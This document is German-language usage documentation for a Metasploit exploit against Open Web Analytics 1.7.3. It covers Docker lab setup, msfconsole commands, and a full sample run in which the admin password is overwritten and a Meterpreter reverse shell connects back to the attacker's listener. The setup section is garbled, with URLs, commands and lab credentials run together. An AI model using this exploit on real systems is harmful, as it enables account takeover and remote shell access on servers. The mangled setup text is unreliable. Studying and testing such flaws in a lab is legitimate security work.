
Open Web Analytics 1.7.3 - Remote-Codeausführung
Open Web Analytics (OWA) vor 1.7.4 erlaubt einem nicht authentifizierten Remote-Angreifer, sensible Benutzerinformationen zu erlangen, die genutzt werden können, um Administratorrechte durch Ausnutzung von Cache-Hashes zu gewinnen. Dies geschieht, weil Dateien, die mit '<?php (anstelle der beabsichtigten Sequenz "<?php) erzeugt werden, nicht vom PHP-Interpreter verarbeitet werden.
Starte eine verwundbare Instanz von OWA mit Docker
docker compose up -ddocker-compose.yml
http://127.0.0.1/docker inspect <db-container> ausführen und IPAddress ermitteln, z. B. 172.22.0.2)3306owaowaDemo12+#http://127.0.0.1admin[email protected]Demo12+#Starte msfconsole
use exploit/multi/http/open_web_analytics_rce
set RHOSTS 127.0.0.1
set RPORT 80
set SSL false
set LHOST 172.22.0.1 -> dies muss die Bridge-IP sein, die mit dem Befehl docker compose up -d erstellt wurde
check
run
Beim Ausnutzen des Ziels wird das Passwort des angegriffenen Benutzers mit diesem Passwort überschrieben.
Der Benutzer, der mit diesem Exploit angegriffen wird.
Der Exploit funktioniert, indem er einen temp_passkey-Wert aus einer Cache-Datei abruft, die für jeden Benutzer erstellt wird, wenn versucht wird, sich mit ihr anzumelden. Da das Verzeichnis /owa-data/caches/ öffentlich zugänglich ist, können wir diese Cache-Dateien abrufen. Der genaue Pfad der Cache-Dateien hängt von der user_id ab und kann damit berechnet werden. Diese Option legt fest, wie viele berechnete Pfade, beginnend bei 0, auf Cache-Dateien mit dem darin enthaltenen temp_passkey-Wert überprüft werden sollen.
msf6 exploit(multi/http/open_web_analytics_rce) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 exploit(multi/http/open_web_analytics_rce) > set LHOST 172.22.0.1
LHOST => 172.22.0.1
msf6 exploit(multi/http/open_web_analytics_rce) > run
[*] Started reverse TCP handler on 172.22.0.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Open Web Analytics 1.7.3 is vulnerable
[+] Connected to http://127.0.0.1/ successfully!
[*] Attempting to find cache of 'admin' user
[+] Found temporary password for user 'admin': 85038e7e9f541ae4c4939d3044e628a5
[+] Changed the password of 'admin' to 'pwned'
[+] Logged in as admin user
[*] Creating log file
[+] Wrote payload to file
[*] Sending stage (39927 bytes) to 172.22.0.3
[+] Deleted QY0yivK4.php
[*] Meterpreter session 1 opened (172.22.0.1:4444 -> 172.22.0.3:55434) at 2023-03-15 01:28:54 +0100
[+] Triggering payload! Check your listener!
meterpreter > pwd
/var/www/html/owa-data/caches
meterpreter > getuid
Server username: www-data
meterpreter >